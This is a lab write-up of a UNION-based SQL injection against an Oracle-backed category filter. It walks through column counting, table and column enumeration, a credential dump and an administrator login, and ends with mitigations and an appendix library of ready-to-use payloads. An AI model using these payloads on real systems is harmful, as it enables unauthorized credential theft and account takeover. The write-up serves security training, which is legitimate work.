SQL injection attack, listing the database contents on Oracle

🎯 Objective

Exploit an SQL injection in the product category filter to enumerate the database, identify the users table and its columns, dump all credentials, and log in as administrator.

🧩 Lab Context

• Vulnerability: SQL Injection (UNION-based) in category filter
• Endpoint: /filter?category=<payload>
• DBMS: Oracle (confirmed via DUAL, ALL_TABLES, ALL_TAB_COLUMNS)
• Columns in original query: 2 (determined via ORDER BY testing)

🗺️ Strategy

1. Find column count / data types with ORDER BY and UNION probes.
2. Confirm Oracle and pivot to DUAL.
3. Enumerate object names using ALL_TABLES and ALL_TAB_COLUMNS.
4. Dump sensitive rows via UNION.
5. Use recovered creds to log in as administrator.

🔎 Discovery & Enumeration

1) Column count & type alignment

• Initial probing showed 2 columns.
• Mixed string/int UNIONs failed until switching to FROM DUAL (Oracle idiom).

Screenshot – Early UNION exploration

2) Confirm Oracle & enumerate tables

Use Oracle metadata views to list tables:

' UNION SELECT table_name, NULL FROM all_tables --

• Identified target table: USERS_QKREWN

3) Enumerate columns for target table

' UNION SELECT column_name, NULL 
  FROM all_tab_columns 
  WHERE table_name='USERS_QKREWN' --

• Extracted columns:
  • USERNAME_MXVKHD
  • PASSWORD_OCMCJM

4) Dump users and passwords

' UNION SELECT USERNAME_MXVKHD, PASSWORD_OCMCJM 
  FROM USERS_QKREWN --

Screenshot – Dumped credentials

Use the recovered administrator credentials to authenticate.

Screenshot – Successful login

✅ Verification

• UNION output displayed user/password pairs from the discovered table/columns.
• Login using recovered administrator credentials succeeded.

🛡️ Mitigations (What should be fixed)

• Use parameterized queries / prepared statements for all filter inputs.
• Apply strict allow-lists to category values (server-side).
• Remove direct exposure of DB metadata; ensure application role lacks SELECT on ALL_% views if not needed.
• Centralize error handling to avoid reflection of query results from UNION paths.
• WAF rules: treat '--, UNION, and concatenation patterns as suspicious, but do not rely solely on WAF.

📎 Appendix — Payload Library

Column counting

GET /filter?category=Pets' ORDER BY 1--
GET /filter?category=Pets' ORDER BY 2--
GET /filter?category=Pets' ORDER BY 3--   ← error ⇒ only 2 columns

Type alignment (Oracle)

GET /filter?category=Pets' UNION SELECT 'a','b' FROM DUAL--

List tables

GET /filter?category=Pets' UNION SELECT table_name, NULL FROM all_tables --

List columns for USERS_QKREWN

GET /filter?category=Pets' UNION SELECT column_name, NULL 
FROM all_tab_columns WHERE table_name='USERS_QKREWN' --

Dump creds

GET /filter?category=Pets' UNION SELECT USERNAME_MXVKHD, PASSWORD_OCMCJM FROM USERS_QKREWN --

🧠 Notes

• The DUAL table is an Oracle single-row table used when a FROM clause is syntactically required.
• Oracle metadata views used here: ALL_TABLES, ALL_TAB_COLUMNS.
• If the application transforms output (e.g., HTML encoding), you can still extract data in the rendered page or via the raw response.